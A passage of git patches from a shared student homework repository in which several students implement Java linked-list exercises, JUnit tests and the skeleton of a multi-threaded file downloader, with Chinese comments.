+		data = newHead.data;
+		newHead = null;
+		return  data;
 	}
 	public Object removeLast(){
-		return null;
+		Object data;
+		Node last = findIndexNode(this.size() -1);
+		data = last.data;
+		last = null;
+
+		return data;
 	}
-	public Iterator iterator(){
-		return null;
+	public Iterator iterator()
+	{
+		return new LinkedListIterator();
 	}
-	
+
 	
 	private static  class Node{
 		Object data;
@@ -49,7 +159,17 @@ private static  class Node{
 	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
 	 */
 	public  void reverse(){		
-		
+		Node first ;
+		int currentIndex = 1;
+		this.head = findIndexNode(this.size - 1);
+		if(this.size() <= 1){
+			return;
+		}
+		while(currentIndex < this.size() ){
+			first = findIndexNode(this.size() - currentIndex);
+			first.next = findIndexNode(this.size - currentIndex - 1);
+			currentIndex++;
+		}
 	}
 	
 	/**
@@ -59,16 +179,35 @@ public  void reverse(){
 
 	 */
 	public  void removeFirstHalf(){
-		
+		checkElementIndex(this.size());
+
+		int mid = this.size / 2;
+		Node temp = this.head;
+		this.head = findIndexNode(mid);
+		for (int i = 0; i < mid; i++) {
+			Node T = temp.next;
+			temp = null;
+			temp = T;
+		}
+
 	}
 	
 	/**
 	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
+	 * @param index
 	 * @param length
 	 */
-	public  void remove(int i, int length){
-		
+	public  void remove(int index, int length){
+		checkElementIndex(length + index );
+
+		Node before = findBeforeInsertNode(index);
+		Node temp = findIndexNode(index);
+		for (int i= 0; i < length; i++) {
+			Node T = temp.next;
+			temp = null;
+			temp = T;
+		}
+		before.next = temp;
 	}
 	/**
 	 * 假定当前链表和listB均包含已升序排列的整数
@@ -79,7 +218,17 @@ public  void remove(int i, int length){
 	 * @param list
 	 */
 	public  int[] getElements(LinkedList list){
-		return null;
+		Node listNode = list.head;
+		Node myNode = this.head;
+		int[] data = new int[list.size()];
+		for (int i = 0; i < this.size(); i++) {
+			if(i == (Integer) listNode.data){
+				data[i] = (Integer)myNode.data;
+			}
+			myNode = myNode.next;
+		}
+
+		return data;
 	}
 	
 	/**
@@ -90,12 +239,22 @@ public  int[] getElements(LinkedList list){
 	 */
 	
 	public  void subtract(LinkedList list){
-		
+
+		int[] data = new int[list.size()];
+		for (int i = 0,j = 0; i < this.size(); i++) {
+			for (; j < list.size(); j++) {
+				if(this.get(i).equals(list.get(j))){
+					this.remove(i);
+					break;
+				}
+			}
+		}
 	}
 	
 	/**
 	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
 	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 * （选做）
 	 */
 	public  void removeDuplicateValues(){
 		
@@ -106,6 +265,7 @@ public  void removeDuplicateValues(){
 	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
 	 * @param min
 	 * @param max
+	 * （选做）
 	 */
 	public  void removeRange(int min, int max){
 		
@@ -117,6 +277,51 @@ public  void removeRange(int min, int max){
 	 * @param list
 	 */
 	public  LinkedList intersection( LinkedList list){
-		return null;
+        LinkedList listC = new LinkedList();
+
+        for (int i = 0,j = 0; i < this.size(); i++) {
+            for (; j < list.size(); j++) {
+                if(this.get(i).equals(list.get(j))){
+                    listC.add(this.get(i));
+                    break;
+                }
+            }
+        }
+
+
+
+		return listC;
+	}
+
+
+
+	/************Iterator**************/
+	private class LinkedListIterator implements Iterator{
+		private Node currentNode;
+		private int currentIndex;
+
+		public LinkedListIterator() {
+			// TODO Auto-generated constructor stub
+			this.currentIndex = 0;
+			this.currentNode = new Node();
+		}
+		@Override
+		public boolean hasNext() {
+			// TODO Auto-generated method stub
+			return currentIndex < size();
+		}
+
+		@Override
+		public Object next() {
+			// TODO Auto-generated method stub
+			checkElementIndex(currentIndex);
+			if ( currentNode.data == null ) {
+				this.currentNode = findIndexNode(currentIndex);
+			}
+			Object value = currentNode.data;
+			currentNode = currentNode.next;
+			currentIndex++;
+			return value;
+		}
 	}
 }
diff --git a/group23/729693763/Third_Homework3/DataStruct/List.java b/group23/729693763/Third_Homework3/DataStruct/List.java
new file mode 100644
index 0000000000..aa8b039453
--- /dev/null
+++ b/group23/729693763/Third_Homework3/DataStruct/List.java
@@ -0,0 +1,10 @@
+package com.zhous.DataStruct;
+
+public interface List {
+	void add(Object o);
+	void add(int index, Object o);
+	Object get(int index);
+	Object remove(int index);
+	int size();
+	Iterator iterator();
+}

From db064f3ad635f5ad51fa8e164232f4f237e35015 Mon Sep 17 00:00:00 2001
From: em14Vito <soulkillty@163.com>
Date: Sun, 26 Mar 2017 23:36:14 +0800
Subject: [PATCH 009/262] add blog

---
 group23/729693763/readme.md | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/group23/729693763/readme.md b/group23/729693763/readme.md
index 7e7fac06ae..89b8633e07 100644
--- a/group23/729693763/readme.md
+++ b/group23/729693763/readme.md
@@ -8,4 +8,5 @@ http://www.cnblogs.com/CodeSaveMe/p/6523745.html
 Add Blog link: http://www.cnblogs.com/CodeSaveMe/p/6523745.html
 
 Add week2 Blog link:http://www.cnblogs.com/CodeSaveMe/p/6571621.html
->>>>>>> my
+
+Add week3 Blog link:http://www.cnblogs.com/CodeSaveMe/p/6624431.html

From 24175890636de64823a385af322bd282af466a4a Mon Sep 17 00:00:00 2001
From: Pickacat <ken1992149@163.com>
Date: Mon, 27 Mar 2017 00:50:27 +0800
Subject: [PATCH 010/262] =?UTF-8?q?LinkedList=E5=AE=8C=E6=88=90=E9=83=A8?=
 =?UTF-8?q?=E5=88=86=E6=96=B9=E6=B3=95=EF=BC=8C=E5=A4=9A=E7=BA=BF=E7=A8=8B?=
 =?UTF-8?q?=E4=B8=8B=E8=BD=BD=E8=BF=98=E6=B2=A1=E5=81=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/com/xiaol/study/LinkedList.java       | 24 ++++-
 .../com/xiaol/download/DownloadThread.java    | 20 ++++
 .../com/xiaol/download/FileDownloader.java    | 91 +++++++++++++++++++
 .../xiaol/download/FileDownloaderTest.java    | 60 ++++++++++++
 .../com/xiaol/download/api/Connection.java    | 23 +++++
 .../download/api/ConnectionException.java     |  5 +
 .../xiaol/download/api/ConnectionManager.java | 10 ++
 .../xiaol/download/api/DownloadListener.java  |  5 +
 .../xiaol/download/impl/ConnectionImpl.java   | 27 ++++++
 .../download/impl/ConnectionManagerImpl.java  | 14 +++
 10 files changed, 275 insertions(+), 4 deletions(-)
 create mode 100644 group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java
 create mode 100644 group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java
 create mode 100644 group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java
 create mode 100644 group23/381519422/download/src/main/java/com/xiaol/download/api/Connection.java
 create mode 100644 group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionException.java
 create mode 100644 group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionManager.java
 create mode 100644 group23/381519422/download/src/main/java/com/xiaol/download/api/DownloadListener.java
 create mode 100644 group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java
 create mode 100644 group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java

diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java b/group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java
index d60ede59a1..2b3104756e 100644
--- a/group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java
@@ -159,6 +159,7 @@ private Node(Object o) {
 	}
 	
 	//---------------下面的方法暂时先不实现
+	// removeDuplicateValues（），removeRange（）可以不实现
 	
 	/**
 	 * 把该链表逆置
@@ -182,8 +183,16 @@ public  void removeFirstHalf(){
 	 * @param i
 	 * @param length
 	 */
-	public  void remove(int i, int length){
-		
+	public void remove(int i, int length) {
+		if (i < 0) {
+			throw new RuntimeException("非法参数");
+		}
+		Node indexNode = getIndexNode(i);
+		Node nextNode = getIndexNode(i);
+		for (int j = 0; j < length; j++) {
+			nextNode = nextNode.next;
+		}
+		indexNode.next = nextNode;
 	}
 	
 	/**
@@ -194,8 +203,15 @@ public  void remove(int i, int length){
 	 * 返回的结果应该是[101,301,401,601]  
 	 * @param list
 	 */
-	public  int[] getElements(LinkedList list){
-		return null;
+	public int[] getElements(LinkedList list) {
+		int[] retVal = new int[list.size()];
+		for (int i = 0; i < list.size(); i++) {
+			int index = (int) list.get(i);
+			Node indexNode = getIndexNode(index);
+			int data = (int) indexNode.data;
+			retVal[i] = data;
+		}
+		return retVal;
 	}
 	
 	/**
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java b/group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java
new file mode 100644
index 0000000000..a038d0da37
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java
@@ -0,0 +1,20 @@
+package com.xiaol.download;
+
+import com.xiaol.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		
+	}
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java
new file mode 100644
index 0000000000..cd0b433843
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java
@@ -0,0 +1,91 @@
+package com.xiaol.download;
+
+import com.xiaol.download.api.Connection;
+import com.xiaol.download.api.ConnectionException;
+import com.xiaol.download.api.ConnectionManager;
+import com.xiaol.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+//		Connection conn = null;
+//		try {
+//			
+//			conn = cm.open(this.url);
+//			
+//			int length = conn.getContentLength();	
+//			
+//			new DownloadThread(conn,0,length-1).start();
+//			
+//		} catch (ConnectionException e) {			
+//			e.printStackTrace();
+//		}finally{
+//			if(conn != null){
+//				conn.close();
+//			}
+//		}
+		
+		
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			new DownloadThread(conn,0,length-1).start();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..f76ba7ff38
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java
@@ -0,0 +1,60 @@
+package com.xiaol.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.xiaol.download.api.ConnectionManager;
+import com.xiaol.download.api.DownloadListener;
+import com.xiaol.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+//		String url = "http://localhost:8080/test.jpg";
+		String url = "http://img4.duitang.com/uploads/item/201411/09/20141109224803_GXSri.jpeg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/api/Connection.java b/group23/381519422/download/src/main/java/com/xiaol/download/api/Connection.java
new file mode 100644
index 0000000000..425fe784a7
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.xiaol.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionException.java b/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionException.java
new file mode 100644
index 0000000000..83cbd33c7e
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.xiaol.download.api;
+
+public class ConnectionException extends Exception {
+
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionManager.java b/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..fcd90b77da
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.xiaol.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/api/DownloadListener.java b/group23/381519422/download/src/main/java/com/xiaol/download/api/DownloadListener.java
new file mode 100644
index 0000000000..549a36e478
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.xiaol.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..3cc898e626
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java
@@ -0,0 +1,27 @@
+package com.xiaol.download.impl;
+
+import java.io.IOException;
+
+import com.xiaol.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		return null;
+	}
+
+	@Override
+	public int getContentLength() {
+		
+		return 0;
+	}
+
+	@Override
+	public void close() {
+		
+		
+	}
+
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..d8bd4c5a34
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,14 @@
+package com.xiaol.download.impl;
+import com.xiaol.download.api.Connection;
+import com.xiaol.download.api.ConnectionException;
+import com.xiaol.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		
+		return null;
+	}
+
+}
\ No newline at end of file

From fa4f699d6fbca186a2affeaf6a2232a903344a7f Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Mon, 27 Mar 2017 12:44:14 +0800
Subject: [PATCH 011/262] LinkedList homework

LinkedList homework
---
 .../src/com/coding/basic/LinkedList.java      | 183 ++++++++++++++++--
 1 file changed, 169 insertions(+), 14 deletions(-)

diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
index 5e241db172..b88654c9a8 100644
--- a/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
+++ b/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
@@ -67,7 +67,7 @@ public Object get(int index) {
                 pos++;
             } while (pos != index);
         }
-        return cur;
+        return cur.data;
     }
 
     public Object remove(int index) {
@@ -87,7 +87,7 @@ public Object remove(int index) {
             prev.next = cur.next;
         }
         size--;
-        return cur;
+        return cur.data;
     }
 
     public int size() {
@@ -122,7 +122,7 @@ public Object removeFirst() {
         Node ret = head;
         head = head.next;
         size--;
-        return ret;
+        return ret.data;
     }
 
     public Object removeLast() {
@@ -143,7 +143,7 @@ public Object removeLast() {
             prev.next = null;
         }
         size--;
-        return ret;
+        return ret.data;
     }
 
     public Iterator iterator() {
@@ -167,7 +167,20 @@ public Node(Object data, Node next) {
      * 例如链表为 3->7->10 , 逆置后变为  10->7->3
      */
     public void reverse() {
-
+    	if(size == 0 || size == 1){
+    		return ;
+    	}
+    	Node node = head;
+    	Node nextNode = head.next;
+    	Node tmp;
+    	node.next = null;
+    	do{
+    		tmp = nextNode.next;
+    		nextNode.next = node;
+    		node = nextNode;
+    		nextNode = tmp;
+    	}while(nextNode != null);
+    	head = node;
     }
 
     /**
@@ -176,9 +189,19 @@ public void reverse() {
      * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
      */
     public void removeFirstHalf() {
-
+    	if(size == 0 || size == 1){
+    		return ;
+    	}
+    	int num = size / 2;
+    	size -= num;
+    	Node node = head;
+    	while(num > 0){
+    		node = node.next;
+    		num--;
+    	}
+    	head = node;
     }
-
+    
     /**
      * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
      *
@@ -186,7 +209,28 @@ public void removeFirstHalf() {
      * @param length
      */
     public void remove(int i, int length) {
-
+    	checkMinBound(i);
+    	checkMaxBound(i + length, size);
+    	Node prev = null;
+    	Node node = head;
+    	int index = 0;
+    	while(index < i){
+    		prev = node;
+    		node = node.next;
+    		index++;
+    	}
+    	Node nextNode = node.next;
+    	while(index < (i + length - 1)){
+    		nextNode = nextNode.next;
+    		index++;
+    	}
+    	size -= length;
+    	if(i == 0){
+    		head = nextNode;
+    	}else{
+    		prev.next = nextNode;
+    		head = prev;
+    	}
     }
 
     /**
@@ -198,8 +242,26 @@ public void remove(int i, int length) {
      *
      * @param list
      */
-    public static int[] getElements(LinkedList list) {
-        return null;
+    public int[] getElements(LinkedList list) {
+    	int[] ret = new int[list.size()];
+    	if(ret.length == 0){
+    		return ret;
+    	}
+    	int index;
+    	int j = 0;
+    	Node node = head;
+    	for(int i=0;i<list.size();i++){
+    		index = (int)list.get(i);
+    		while(j < index){
+    			node = node.next;
+    			if(node == null){
+    				throw new IndexOutOfBoundsException();
+    			}
+    			j++;
+    		}
+    		ret[i] = (int)node.data;
+    	}
+    	return ret;
     }
 
     /**
@@ -210,7 +272,28 @@ public static int[] getElements(LinkedList list) {
      */
 
     public void subtract(LinkedList list) {
-
+    	if(size == 0){
+    		return ;
+    	}
+    	Node prev = null;
+    	Node node = head;
+    	int data;
+    	for(int i=0;i<list.size();i++){
+    		data = (int)list.get(i);
+    		do{
+    			if(data == (int)node.data){
+    				if(prev == null){
+    					head = node.next;
+    				}else{
+    					prev.next = node.next;
+    				}
+    				size--;
+    				node = node.next;
+    				break;
+    			}
+    			prev = node;
+    		}while((node = node.next) != null);
+    	}
     }
 
     /**
@@ -218,7 +301,20 @@ public void subtract(LinkedList list) {
      * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
      */
     public void removeDuplicateValues() {
-
+    	if(size == 0 || size == 1){
+    		return ;
+    	}
+    	Node node = head;
+    	Node next = node.next;
+    	do{
+    		if((int)node.data == (int)next.data){
+    			node.next = next.next;
+    			size--;
+    		}else{
+    			node = node.next;
+    		}
+    		next = next.next;
+    	}while(next != null);
     }
 
     /**
@@ -229,7 +325,28 @@ public void removeDuplicateValues() {
      * @param max
      */
     public void removeRange(int min, int max) {
-
+    	Node prev = null;
+    	Node node = head;
+    	boolean foundMin = false;
+    	do{
+    		if(!foundMin && (int)node.data > min){
+    			foundMin = true;
+    		}
+    		if((int)node.data > max){
+    			break;
+    		}
+    		if(foundMin == false){
+    			prev = node;
+    		}else{
+    			size -= 1;
+    		}
+    		node = node.next;
+    	}while(node != null);
+    	if(prev == null){
+    		head = node;
+    	}else{
+    		prev.next = node;
+    	}
     }
 
     /**
@@ -239,6 +356,44 @@ public void removeRange(int min, int max) {
      * @param list
      */
     public LinkedList intersection(LinkedList list) {
-        return null;
+    	LinkedList ret = new LinkedList();
+    	Node node = head;
+    	int nodeValue;
+    	int elementValue;
+    	for(int i=0;i<list.size();i++){
+    		nodeValue = (int)node.data;
+    		elementValue = (int)list.get(i);
+    		if(nodeValue == elementValue){
+    			ret.add(nodeValue);
+    		}else if(nodeValue < elementValue){
+    			node = node.next;
+    			while(node != null){
+    				nodeValue = (int)node.data;
+    				if(nodeValue == elementValue){
+    					ret.add(nodeValue);
+    					node = node.next;
+    					break;
+    				}else if(nodeValue > elementValue){
+    					break;
+    				}
+    				node = node.next;
+    			}
+    		}
+    	}
+        return ret;
+    }
+    
+    public String toString(){
+    	Node node = head;
+    	StringBuilder sb = new StringBuilder();
+    	if(node == null){
+    		return "";
+    	}else{
+    		sb.append(head.data);
+    		while((node = node.next) != null){
+    			sb.append(",").append(node.data);
+    		}
+    		return sb.toString();
+    	}
     }
 }

From 4a36e78d2c1a9c27a3fb2d769974e2b40dc278d8 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Mon, 27 Mar 2017 12:56:39 +0800
Subject: [PATCH 012/262] LinkedList homework update

LinkedList homework update
---
 .../src/com/coding/basic/LinkedList.java      |   2 +-
 .../test/com/coding/basic/TestLinkedList.java | 176 ++++++++++++++++++
 2 files changed, 177 insertions(+), 1 deletion(-)
 create mode 100644 group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java

diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
index b88654c9a8..eb41670f82 100644
--- a/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
+++ b/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
@@ -332,7 +332,7 @@ public void removeRange(int min, int max) {
     		if(!foundMin && (int)node.data > min){
     			foundMin = true;
     		}
-    		if((int)node.data > max){
+    		if(foundMin && (int)node.data > max){
     			break;
     		}
     		if(foundMin == false){
diff --git a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java b/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java
new file mode 100644
index 0000000000..39b41c1317
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java
@@ -0,0 +1,176 @@
+package test.com.coding.basic;
+
+import static org.junit.Assert.*;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import com.coding.basic.LinkedList;
+
+public class TestLinkedList {
+	
+	@Test
+	public void testReverse(){
+		LinkedList list = new LinkedList();
+		list.add(3);
+		list.add(7);
+		list.add(10);
+		list.reverse();
+		Assert.assertEquals("10,7,3", list.toString());
+		Assert.assertEquals("10", list.get(0).toString());
+	}
+	
+	@Test
+	public void testRemoveFirstHalf(){
+		LinkedList list = new LinkedList();
+		list.add(3);
+		list.add(7);
+		list.add(10);
+		list.add(12);
+		list.add(15);
+		list.removeFirstHalf();
+		Assert.assertEquals("10", list.get(0).toString());
+		Assert.assertEquals("10,12,15", list.toString());
+		Assert.assertEquals(3, list.size());
+	}
+	
+	@Test
+	public void testRemoveByLength(){
+		LinkedList list = new LinkedList();
+		list.add(3);
+		list.add(7);
+		list.add(10);
+		list.add(12);
+		list.add(15);
+		list.remove(0, 2);
+		Assert.assertEquals("10", list.get(0).toString());
+		Assert.assertEquals("10,12,15", list.toString());
+		Assert.assertEquals(3, list.size());
+		
+		list.remove(1, 1);
+		Assert.assertEquals("10", list.get(0).toString());
+		Assert.assertEquals("10,15", list.toString());
+		Assert.assertEquals(2, list.size());
+	}
+	
+	@Test
+	public void testGetElements(){
+		LinkedList list = new LinkedList();
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		
+		LinkedList indices = new LinkedList();
+		indices.add(1);
+		indices.add(3);
+		indices.add(4);
+		indices.add(6);
+		int[] elements = list.getElements(indices);
+		StringBuilder sb = new StringBuilder();
+		for(int i=0;i<elements.length;i++){
+			sb.append(elements[i]).append(",");
+		}
+		String elementsStr = sb.length() == 0?"" : sb.substring(0, sb.length() - 1);
+		Assert.assertEquals("1,3,4,6", elementsStr);
+		try{
+			indices.add(7);
+			list.getElements(indices);
+			fail("下标越界，没抛出异常");
+		}catch(IndexOutOfBoundsException e){
+			
+		}
+	}
+	
+	@Test
+	public void testSubtract(){
+		LinkedList list = new LinkedList();
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		
+		LinkedList indices = new LinkedList();
+		indices.add(1);
+		indices.add(3);
+		indices.add(4);
+		indices.add(6);
+		
+		list.subtract(indices);
+		Assert.assertEquals("0,2,5", list.toString());
+		Assert.assertEquals(3, list.size());
+	}
+	
+	@Test
+	public void testRemoveDuplicateValues(){
+		LinkedList list = new LinkedList();
+		list.add(0);
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(4);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		list.add(6);
+		list.removeDuplicateValues();
+		Assert.assertEquals("0,1,2,3,4,5,6", list.toString());
+		Assert.assertEquals(7, list.size());
+	}
+	
+	@Test
+	public void testRemoveRange(){
+		LinkedList list = new LinkedList();
+		for(int i=0;i<10000;i++){
+			list.add(i);
+		}
+		list.removeRange(200, 900);//0-200=201,901-9999=9099
+		
+//		Assert.assertEquals("0,1,2,3,6", list.toString());
+		Assert.assertEquals(9300, list.size());
+	}
+	
+	@Test
+	public void testRemoveRange1(){
+		LinkedList list = new LinkedList();
+		for(int i=0;i<10000;i++){
+			list.add(i);
+		}
+//		list.removeRange(200, 900);//0-200=201,901-9999=9099
+		for(int i=201;i<901;i++){
+			list.remove(i);
+		}
+		
+		Assert.assertEquals(9300, list.size());
+	}
+	
+	@Test
+	public void testIntersection(){
+		LinkedList list1 = new LinkedList();
+		list1.add(0);
+		list1.add(1);
+		list1.add(2);
+		list1.add(3);
+		list1.add(5);
+		list1.add(6);
+		
+		LinkedList list2 = new LinkedList();
+		list2.add(1);
+		list2.add(2);
+		list2.add(4);
+		list2.add(5);
+		
+		LinkedList list3 = list1.intersection(list2);
+		
+		Assert.assertEquals("1,2,5", list3.toString());
+	}
+}

From b820c720d1679cb60bd4fcbbaea30a0f2532fecd Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Mon, 27 Mar 2017 16:15:32 +0800
Subject: [PATCH 013/262] FileDownload

FileDownload
---
 .../coderising/download/DownloadThread.java   | 31 ++++++
 .../coderising/download/FileDownloader.java   | 98 +++++++++++++++++++
 .../download/FileDownloaderTest.java          | 59 +++++++++++
 .../coderising/download/api/Connection.java   | 26 +++++
 .../download/api/ConnectionException.java     |  5 +
 .../download/api/ConnectionManager.java       | 10 ++
 .../download/api/DownloadListener.java        |  5 +
 .../download/impl/ConnectionImpl.java         | 62 ++++++++++++
 .../download/impl/ConnectionManagerImpl.java  | 26 +++++
 9 files changed, 322 insertions(+)
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java
